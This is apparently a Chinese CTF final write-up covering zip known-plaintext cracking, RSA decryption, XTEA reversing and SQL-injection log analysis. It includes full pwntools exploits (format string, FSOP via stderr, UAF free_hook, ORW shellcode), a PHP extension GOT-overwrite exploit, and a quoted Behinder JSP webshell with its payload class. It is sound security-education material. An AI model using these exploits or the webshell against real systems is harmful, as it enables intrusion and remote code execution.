第一届 长城杯 总决赛wp

第一届 长城杯 总决赛 - Ahisec

第一阶段

Zip_guessinteger

第一层bkcrack攻击部分明文,注意偏移

在这里插入图片描述

┌──(root㉿Ten)-[~/tools/Misc/bkcrack]
└─# ./bkcrack -C zip_guessinteger.zip -c breakthroughentry.txt+flag.txt.zip -p 1.txt -o 30
bkcrack 1.6.1 - 2024-01-22
[15:38:10] Z reduction using 13 bytes of known plaintext
100.0 % (13 / 13)
[15:38:10] Attack on 516233 Z values at index 37
Keys: 003e5ac3 885a9927 00c436d9
3.2 % (16406 / 516233)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 16406
[15:38:23] Keys
003e5ac3 885a9927 00c436d9

根据着三个key直接创建一个新的压缩包和密码

./bkcrack -C zip_guessinteger.zip -k 003e5ac3 885a9927 00c436d9 -U easy.zip 123

然后解压缩分析

guessinteger

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传​

根据以上代码分析,我们要满足其值条件才会生成一个breakthroughentry.txt对另一个压缩包进行攻击

但是这题出题人出了一个小问题,直接把明文就丢出来了,根本不需要去满足啥条件,直接复制粘贴,只要注意一下\r\n就可以了

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

然后使用7zip进行压缩,最后直接使用Advanced Archive Password Recovery就可以攻击成功

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

BlindFlowanalyis

虽然有很多sql盲注,但是过滤大小的时候就可以发现有union select

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在webflow1.pcap里面发现secret表,并且里面含有私钥

在webflow2.pcap里面发现flagdata表,并且里面含有密文

并且都是用户对应用户,最后的用户都是admin

私钥

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

密文

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

然后编写脚本进行解密,注意admin私钥的开头有问题,需要将MTTC替换成正常的MIIC

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

from Crypto.PublicKey import RSA
import libnum
import gmpy2
# with open("private.pem", "rb") as f:
#     key = RSA.import_key(f.read())
#     print("n = %d" % key.n)
#     print("e = %d" % key.e)
#     print("d = %d" % key.d)
#     print("p = %d" % key.p)
#     print("q = %d" % key.q)


# strs = "MTTC3TBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQIVLQmLXnlUYkCAggAMAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAEqBBBCQKgOObf2BrhJ9tHvAb4oBIICgP3WaNdtO3oTAX1GjdqBL0f6HvFZ9q25EIOAah78rfhKNrJQP0uHHUnbIDKUZTSMwNZ7kNQAAnJPdjwhZVNbymCjUrVvqs0VD8GWncUlIIxrAkpsgqioABSKLoy280ubg2s1IV/sqbuuvN4ldPvnAvyrLLnNLgGyU86v2Q1ArFWfG4kgeZSpW06W6TwgeIZbjRSnLKFXx1VEhpZSCOadg/HOh8BfLbFlZiWgDiuTdVSzGq34fLV8jKYfUjhEffh/tCNhjU5E8M6ItqgXZYyjbBO2ujewBzV1JiBE0QvcavwT8JvV2IDQXBtQmBJZXH4Vqoo2n5YmUgUFDxoZSdAqOfh5kcgO0OgORhOrX/qNisaDfBMwGx2csywJBuSujzZ3ckV3Gv2ysMzRPKfyZ/v10zElsrKZHci2wDMZ4XYqNyvPDafWaxkSNXP64eYRS8J6WVgWycaPq0LkoJnuxtmOnlYlZ8cmY2zOf4WfyG7X+NhK6CllS0or2Y7fuqo80dmGTrg7cuVA1GguRMA6qZAOlbqu8zT53vGUOIHDRQFb8DUU5H6t+I3e0+0Qj8ZwgTtUMCx2/WLc0YAq18Al9okrtsxuYIQ815SSxXKOXZsX93hACLEFFkKOW7vNdBMJdVJnbPoaMotkDYtH/d8TYPrrtyOhPRa/Xl8BzA9J40Z3PE+5XaQfTC4Wx9GMb3y/Dv1lVXrAd9XvCPD8jr6tu+aQWpMAq0uLpF0kgyS/5FDfIpiEHMMuRQ+FBKS58HWVkX1yKNmXkljJRpwe53AHLuDgt+0LNhry+5ck2GFH7bkxU13WmotrtUtnSdIX7FZrQzbJmbwHiyMi7oGdKT7vxkr3aFY="
# for i in range(0,len(strs),64):
#     print(strs[i:i+64])

# from Crypto.PublicKey import RSA
#
# # 读取加密的私钥文件
# file_in = open("private.pem", "rb")
# encrypted_key = file_in.read()
# file_in.close()
#
# # 密码爆破函数
# def passphrase_cracker():
#     # 读取密码字典文件
#     with open("pass.txt", "r",encoding="utf-8") as file:
#         passwords = file.readlines()
#
#     # 尝试每个密码
#     for password in passwords:
#         passphrase = password.strip()
#         try:
#             key = RSA.import_key(encrypted_key, passphrase=passphrase)
#             print(f"Passphrase cracked: {passphrase}")
#             print("n = %d" % key.n)
#             print("e = %d" % key.e)
#             print("d = %d" % key.d)
#             print("p = %d" % key.p)
#             print("q = %d" % key.q)
#             break  # 如果找到正确的密码,停止循环
#         except ValueError:
#             continue
#
#
# # 调用密码爆破函数
# passphrase_cracker()

n = 136024092362152689710172713899392826085562613819502637163574709012959800908069097569347489959246188000879909455954675900898187256462694001680199507890264369748020986792003039927832146357618380320485640247974651461597017754521523478582789651823653650205470697891883134131193787384293246455773119816555908050877
e = 65537
d = 96983349311172448114610684077344531859866705158061854017461211652174689366790434748659538326833645524163686606777761277160529104669611099325734812475218305914063705028257975357368955813173682894994622796568980398528404622799756620123598161913849740935593865664141149764560174893499019267153779766584891066853
p = 12048894621399454101058574170146672880023504304935502855438830209547540828334463319100866266089541071671086068945870668091434002554455832672446379382564831
q = 11289342021513486663717934560260253958877903230700176094000844663541917077757746704211638621740652499799934180688739478331856827700031454191788549757111267

c = "MDgnetOpihRoTmbreC2P7EQqkmeHloAWQ0SA2gKuHWPUP3u8u81ewsTnlyhvc7qLMMpVl36M9Z0Hu++yIKt2C/mimOFH04ixQAUo5y8h8vajw7vRLwfhpxC+pSjWvxjP2ieWVgdmXraijq92K6vdXod/SVaOyBT/1/asqhq1abQ="

import base64

c = base64.b64decode(c.encode())
c = libnum.s2n(c)

phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(libnum.n2s(int(m)))



flag{182w3t-he5dr4y8g-gy590-gggtd46nd-dgw3456utg676}

kernel

分值:200

  • 一个简单的xtea

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  • 写哥decrypt 直接出
#include<stdio.h>


void xtea_encryt(unsigned int rb, unsigned int *buf, int *key)
{
  unsigned int v3; // [rsp+0h] [rbp-28h]
  unsigned int v4; // [rsp+4h] [rbp-24h]
  unsigned int v5; // [rsp+8h] [rbp-20h]
  unsigned int i; // [rsp+Ch] [rbp-1Ch]

  v4 = *buf;
  v5 = buf[1];
  v3 = 0;
  for ( i = 0; i < rb; ++i )
  {
    v4 += (key[v3 & 3] + v3) ^ (v5 + ((v5 >> 6) ^ (4 * v5)));
    v3 -= 1640951535;
    v5 += (key[(v3 >> 11) & 3] + v3) ^ (v4 + ((v4 >> 6) ^ (8 * v4)));
  }
  *buf = v4;
  buf[1] = v5;
}

void xtea_decrypt(unsigned int rb, unsigned int *buf, int *key)
{
  unsigned int v3; // [rsp+0h] [rbp-28h]
  unsigned int v4; // [rsp+4h] [rbp-24h]
  unsigned int v5; // [rsp+8h] [rbp-20h]
  unsigned int i; // [rsp+Ch] [rbp-1Ch]

  v4 = *buf;
  v5 = buf[1];
  v3 = (0x100000000 - 1640951535) * rb;
  for ( i = 0; i < rb; ++i )
  {
    v5 -= (key[(v3 >> 11) & 3] + v3) ^ (v4 + ((v4 >> 6) ^ (8 * v4)));
    v3 += 1640951535;
    v4 -= (key[v3 & 3] + v3) ^ (v5 + ((v5 >> 6) ^ (4 * v5)));
  }
  *buf = v4;
  buf[1] = v5;
}



int main(){
    int key[4];
    key[0] = 0x1234;
    key[1] = 0x3A4D;
    key[2] = 0x5E6F;
    key[3] = 0xAA33;
    unsigned int tmp[2];
    unsigned int flag[] = {0x8CCAF011, 0x835A03B8, 0x6DCC9BAD, 0xE671FA99, 0xE6011F35, 0xE5A56CC8, 0xD4847CFA, 0x5D8E0B8E};
    for(int i=0;i<8;i+=2){
        tmp[0] = flag[i];
        tmp[1] = flag[i+1];
        xtea_decrypt(33,tmp,key);
        flag[i] = tmp[0];
        flag[i+1] = tmp[1];
    }
    printf("%s\n",&flag[0]);
}

  • flag
>>> s = 'galfiLx{QSS1YzRzfM3wePOHCAkJ}m4mp'
>>>
>>> for i in range(0,len(s),4):
...     print(s[i:i+4][::-1],end='')
...
flag{xLi1SSQzRzYw3MfHOPeJkACm4m}p

power_system

  • 先绕过 sha256 的判断,这里有00 截断,所以只需要保证前面三个字节一样即可,然后 print输出pwd, 存在格式化字符串漏洞

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  • 爆破 sha256
import hashlib


pwd = 'e85000'


for i1 in range(1,0x100):
    for i2 in range(0, 0x100):
        for i3 in range(0, 0x100):
            m = b'-%p-%p-%p-%p'+ bytes([i1,i2,i3]).replace(b'\x00',b'')
            rel = hashlib.sha256(m).hexdigest()
            if rel[:6] == pwd:
                print(m,rel)
                input('>>')
                exit(0)

  • 负向越界写 修改 _IO_2_1_stderr_​ 结构体

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  • 后面 直接 exit 触发 stderr链子,用的 cat 模板,然后直接动态调试即可

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

from pwn import *
import sys
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
rl      = lambda                    :io.recvline()
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.RE:
        return remote('202.0.5.76', 7777)
    elif args.AWD:
        # python3 exp.py AWD 1.1.1.1 PORT
        IP = str(sys.argv[1])
        PORT = int(sys.argv[2])
        return remote(IP,PORT)
    else:
        return process([binary] + argv, *a, **kw)


binary = './pwn'
libelf = ''

if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)

gdbscript = '''
#brva 0x01DE1
#brva 0x01F96
b *_IO_wfile_seekoff
#continue
'''.format(**locals())


io = start(binary)


def login(pwd):
    ru('>> ')
    sl('2')
    ru('account : ')
    sl('QAQ')
    ru('password : ')
    sl(pwd)

def adjust(idx,size,text):
    ru('>> ')
    sl('2')
    ru('power: ')
    sl(str(idx))
    ru('size: ')
    sl(str(size))
    ru('staff: ')
    sl(text)

pwd = b'%p \x19\xe2'
pwd = b'-%p-%p-%p-\x8c\xb5\x08'
pwd = b'-%p-%p-%p-%p\xc0R\xb9'
login(pwd)
ru('-0x22-')
libc_base = int(ru('\xc0'),16) - 2016704 + 0x80
#libc_base = int(ru('\xc0'),16) - 0
lss('libc_base')
#exit(0)
lss('libc_base')
libc.address = libc_base

pay = flat({
    0x00: 0,
    0x28: 0xffffffff,
    0x30: 1,
    0x70: b'/bin/sh',
    0x90: libc.sym['system'],
    0x98: libc.sym['_IO_2_1_stderr_']+0x70,
    0xa0: libc.sym['_IO_2_1_stderr_'],
    0xd8: libc.symbols['_IO_wfile_jumps'] + 0x30, # vtable # 可以控制虚表的走向
    0xe0: 0
}, filler=b"\x00")

#gdb.attach(io,gdbscript)
adjust(-2,0,pay[8:])
ru('>> ')
sl('4')
sl(p64(0x31))

itr()

Old_man_v1

分值:200

  • UAF 直接秒
from pwn import *
import sys
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
rl      = lambda                    :io.recvline()
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.RE:
        return remote('202.0.5.76',9999)
    elif args.AWD:
        # python3 exp.py AWD 1.1.1.1 PORT
        IP = str(sys.argv[1])
        PORT = int(sys.argv[2])
        return remote(IP,PORT)
    else:
        return process([binary] + argv, *a, **kw)


binary = './Old_man_v1'
libelf = ''

if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)

gdbscript = '''

#continue
'''.format(**locals())

io = start(binary)

def add(idx,size,text='A'):
    ru(' needed\n')
    sl('1')
    ru('add?\n')
    sl(str(idx))
    ru('include?:\n')
    sl(str(size))
    ru('about:\n')
    s(text)

def edit(idx,text):
    ru(' needed\n')
    sl('3')
    ru('edit?\n')
    sl(str(idx))
    ru('about:\n')
    s(text)
def show(idx):
    ru(' needed\n')
    sl('2')
    ru('show?\n')
    sl(str(idx))
def rm(idx):
    ru(' needed\n')
    sl('4')
    ru('delete?\n')
    sl(str(idx))



add(0,0x500)
add(1,0x68)
add(2,0x68)

rm(0)
show(0)
libc_base = u64(r(8)) - 4111520
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']

rm(1)
rm(2)

edit(2,p64(free_hook))

add(3,0x68,'/bin/sh\x00')
add(4,0x68,p64(system))
lss('libc_base')

rm(3)
#gdb.attach(io,gdbscript)

itr()


外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

SandBoxShell

  • 简单的 ORW flag ,也是直接秒
from pwn import *
import sys
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
rl      = lambda                    :io.recvline()
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.RE:
        return remote('202.0.5.76',8888)
    elif args.AWD:
        # python3 exp.py AWD 1.1.1.1 PORT
        IP = str(sys.argv[1])
        PORT = int(sys.argv[2])
        return remote(IP,PORT)
    else:
        return process([binary] + argv, *a, **kw)


binary = './SandBoxShell'
libelf = ''

if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)

gdbscript = '''

#continue
'''.format(**locals())

io = start(binary)
 
pay = asm(shellcraft.cat('/flag'))
sl(pay)                                                                                                                                                                                                      
#gdb.attach(io,gdbscript)

itr()

numberGame

  • 之前D3CTF 的php pwn题研究过,所以可以搞一搞

  • 调试方式,把 ubuntu 22的 gdbserver 上传到 docker 里面

./gdbserver :1234 php -S 0:8080

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  • 然后就是调试了

  • 贴个exp
<?php

$heap_base = 0;
$libc_base = 0;
$libc = "";
$mbase = "";

function u64($leak){
    $leak = strrev($leak);
    $leak = bin2hex($leak);
    $leak = hexdec($leak);
    return $leak;
}

function p64($addr){
    $addr = dechex($addr);
    $addr = hex2bin($addr);
    $addr = strrev($addr);
    $addr = str_pad($addr, 8, "\x00");
    return $addr;
}

function leakaddr($buffer){
    global $libc, $mbase;
    $p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';
    $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .*  \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/numberGame.so/';
    preg_match_all($p, $buffer, $libc);
    preg_match_all($p1, $buffer, $mbase);
    return "";
}



ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);


echo "\n----1-----\n";
add_chunk(5,[0,0,0,0x80000000,0],"test1"); #需要构造好
#add_chunk(1,[0],"/bin/sh;");
add_chunk(1,[0],"/bin/sh");
$rel = show_chunk(0); # vlun 会把数组控制的范围增大,然后 越界修改和泄露其他地方的值

$heap = $rel[7];
$heap += ($rel[8] << 0x20);

$of = $heap - 72; # 数组起始
#
$str_got = hexdec($mbase[1][0])+ 0x4008;
##
echo "\n----heap-----\n";
echo dechex($heap);
echo "\n----4-----\n";
echo $libc[1][0];
echo "\n----4-----\n";
#
$offset = ($str_got - $of) / 4;

$system = (hexdec($libc[1][0]) + 0x4c490);

echo $offset;
edit_chunk(0,$offset,$system & 0xffffffff); # 修改strlen_got表低四字节为 system

edit_name(1,'1'); # 


?>

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

flag{9ce574baaa9669609898af3dce30912e}

aesweblog

根据提供脚本发现flag是倒序存放的

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传​

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

而且flag是经过aes加密的,且密钥存放在secrets表中

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

flag 密文存放在user_flag表中

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

请求日志 url解码

这里开始判断secrets中获取datetime如果为null则返回空,而且这里使用的是二分法判断的
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

发现secrets表共有24条数据

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

customers表也是共24条数据

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

还判断了user_flag表,其中flagvalue字段共24条

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

共有6个flag,但是这里只要flag1+flag6两个,且flag是以倒叙存放在secrets表(密钥)和user_flag表(密文)

所以我们需要获取secrets表的倒数第一行(SELECT COALESCE(passphrase,CHAR(32)) FROM secrets LIMIT 23,1)

和倒数第6行(SELECT COALESCE(passphrase,CHAR(32)) FROM secrets LIMIT 18,1)

还要获取user_flag表的倒数第一行(SELECT COALESCE(flagvalue,CHAR(32)) FROM user_flag LIMIT 23,1)

和倒数第6行(SELECT COALESCE(flagvalue,CHAR(32)) FROM user_flag LIMIT 18,1)

提取值脚本

import pprint
import re
data = {}
with open("./2.txt","r") as f:
    for i in f.readlines():
        try:
            res = i.split(" ")[15:16][0]
            res2 = res.strip().split(">")
            prex = res2[0]
            hz = res2[1]
            data[prex] = hz
            data.update(data)
        except:
            pass


# pprint.pprint(data)

for v in data.values():
    num = int(re.findall(r"\((.*?)\)",v)[0])
    print(chr(num),end='')
    # print(num,"=",chr(num))

# dict1 = {'a': 1, 'b': 2}
# dict2 = {'b': 3, 'c': 4}
#
# dict1.update(dict2)
# print(dict1)  # 输出: {'a': 1, 'b': 3, 'c': 4}

解密脚本

import sys
import base64
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad,unpad
import hashlib

def derive_key(passphrase, salt, iterations, key_length):
    h = hashlib.sha256()
    u = passphrase.encode("utf-8") + salt
    for _ in range(iterations):
        h.update(u)
        u = h.digest()
    return h.digest()[:key_length]

def decrypt_data(passphrase, encrypted_data_b64):
 
    iterations = 10000
    key_length = 16
    salt = hashlib.md5(passphrase.encode("utf-8") + b"saltseed").digest()
    iv = hashlib.md5(passphrase.encode("utf-8") + b"IVseed").digest()

    key = derive_key(passphrase, salt, iterations, key_length)

    decipher = AES.new(key, AES.MODE_CBC, iv)

    encrypted_data = base64.b64decode(encrypted_data_b64)
    decrypted_padded_data = decipher.decrypt(encrypted_data)

    decrypted_data = unpad(decrypted_padded_data, AES.block_size)

    return decrypted_data

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python script.py <passphrase> <encrypted_flagdata_b64>")
        sys.exit(1)

    passphrase = sys.argv[1]
    encrypted_flagdata_b64 = sys.argv[2]

    decrypted_data = decrypt_data(passphrase, encrypted_flagdata_b64)
    print(decrypted_data)
"""
7xjo0DHFsoF1Jrus
TJOC6+L+vTajLOGqfJMweoLFZqvJ

lTr01ZNX8R9xotVanrPtKiBjCfQD5U5dD+KLRPgjnQ4=
PgH8ySWqsB1IJEradvOouNWEP5mpHZnu5e9ShkiS1LWLb81hRUjAZLD4zzzxO5Tn

flag1{e6f1573b9496a7f3}
flag6{a85bcfc646ff161c71e520e7cba3}

flag{e6f1573b9496a7f3-a85bcfc646ff161c71e520e7cba3}

"""

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

第二阶段

关卡01:

关卡描述:黑客攻击此服务器所使用的2个IP分别是什么(ascii码从小到大排列,空格分隔)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

关卡02:

50 分 关卡描述:存在安全问题的apk中使用的登录密码是什么?

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

关卡03:

50 分 关卡描述:黑客尝试上传一个文件但显示无上传权限的文件名是什么?

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

pic.jpg

关卡04:

150 分 关卡描述:黑客利用的漏洞接口的api地址是什么?(http://xxxx/xx)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

http://202.1.1.66:8080/api/upload

关卡05:

150 分 关卡描述:黑客上传的webshell绝对路径是什么?

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

/usr/local/tomcat/webapps/ROOT/static/s74e7vwmzs21d5x6.jsp

关卡06:

150 分 关卡描述:黑客上传的webshell的密码是什么?

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

`<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("bing_pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>`

bing_pass

关卡07

关卡描述:黑客通过webshell执行的第一条命令是什么?

http contains “s74e7vwmzs21d5x6.jsp”

package net.rebeyond.behinder.payload.java;

import java.io.File;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Properties;
import java.util.Set;
import java.util.Map.Entry;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletOutputStream;
import javax.servlet.jsp.PageContext;

public class BasicInfo {
   public boolean equals(Object obj) {
      PageContext page = (PageContext)obj;
      page.getResponse().setCharacterEncoding("UTF-8");
      String result = "";

      try {
         StringBuilder e = new StringBuilder("<br/><font size=2 color=red>鐜鍙橀噺:</font><br/>");
         Map env = System.getenv();
         Iterator entrySet = env.keySet().iterator();

         while(entrySet.hasNext()) {
            String props = (String)entrySet.next();
            e.append(props + "=" + (String)env.get(props) + "<br/>");
         }

         e.append("<br/><font size=2 color=red>JRE绯荤粺灞炴��:</font><br/>");
         Properties var16 = System.getProperties();
         Set var17 = var16.entrySet();
         Iterator driveList = var17.iterator();

         while(driveList.hasNext()) {
            Entry currentPath = (Entry)driveList.next();
            e.append(currentPath.getKey() + " = " + currentPath.getValue() + "<br/>");
         }

         String var18 = (new File("")).getAbsolutePath();
         String var19 = "";
         File[] roots = File.listRoots();
         File[] so = roots;
         int key = roots.length;

         for(int entity = 0; entity < key; ++entity) {
            File osInfo = so[entity];
            var19 = var19 + osInfo.getPath() + ";";
         }

         String var20 = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");
         HashMap var21 = new HashMap();
         var21.put("basicInfo", e.toString());
         var21.put("currentPath", var18);
         var21.put("driveList", var19);
         var21.put("osInfo", var20);
         result = this.buildJson(var21, true);
         String var22 = page.getSession().getAttribute("u").toString();
         ServletOutputStream var23 = page.getResponse().getOutputStream();
         var23.write(Encrypt(result.getBytes(), var22));
         var23.flush();
         var23.close();
         page.getOut().clear();
      } catch (Exception var15) {
         var15.printStackTrace();
      }

      return true;
   }

   public static byte[] Encrypt(byte[] bs, String key) throws Exception {
      byte[] raw = key.getBytes("utf-8");
      SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
      Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
      cipher.init(1, skeySpec);
      byte[] encrypted = cipher.doFinal(bs);
      return encrypted;
   }

   private String buildJson(Map entity, boolean encode) throws Exception {
      StringBuilder sb = new StringBuilder();
      String version = System.getProperty("java.version");
      sb.append("{");
      Iterator var6 = entity.keySet().iterator();

      while(var6.hasNext()) {
         String key = (String)var6.next();
         sb.append("\"" + key + "\":\"");
         String value = ((String)entity.get(key)).toString();
         if(encode) {
            Class Base64;
            Object Encoder;
            if(version.compareTo("1.9") >= 0) {
               this.getClass();
               Base64 = Class.forName("java.util.Base64");
               Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
               value = (String)Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{value.getBytes("UTF-8")});
            } else {
               this.getClass();
               Base64 = Class.forName("sun.misc.BASE64Encoder");
               Encoder = Base64.newInstance();
               value = (String)Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{value.getBytes("UTF-8")});
               value = value.replace("\n", "").replace("\r", "");
            }
         }

         sb.append(value);
         sb.append("\",");
      }

      sb.setLength(sb.length() - 1);
      sb.append("}");
      return sb.toString();
   }
}

pwd

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

关卡08

黑客获取webshell时查询当前shell的权限是什么?

tomcat

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

关卡09

关卡描述:利用webshell查询服务器Linux系统发行版本是什么?

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

关卡10

关卡描述:黑客从服务器上下载的秘密文件的绝对路径是什么?

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

关卡11:

50 分 关卡描述:黑客通过反连执行的第一条命令是什么?

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

关卡12:

50 分 关卡描述:黑客通过什么文件修改的root密码(绝对路径)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

关卡13:

250 分 关卡描述:黑客设置的root密码是多少?

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

关卡14:

50 分 关卡描述:黑客留下后门的反连的ip和port是什么?(ip:port)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

关卡15:

150 分 关卡描述:黑客通过后门反连执行的第一条命令是什么?

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

第三阶段

202.0.6.233

flag1​

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

flag2

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

flag3

flag3{21db4fb5e7cd1d14f041436c4f50ce8c}

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

flag4

http://202.0.6.233/uploads/shell.php

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

flag5

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

flag6外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

flag1{9a0fe27c8bcc9aad51eda55e1b735eb5}
flag2{5399019c4053e1a5e756522fe94cdefe}
flag3{21db4fb5e7cd1d14f041436c4f50ce8c}
flag4{efba34b4991857a0c3639a0a31424041}
flag5{a40310f194e1abfec9581d026e29832c}
flag6{bf2bbf3cf5bf7fa02fcfd1f649a03a78}

202.0.6.236

flag8

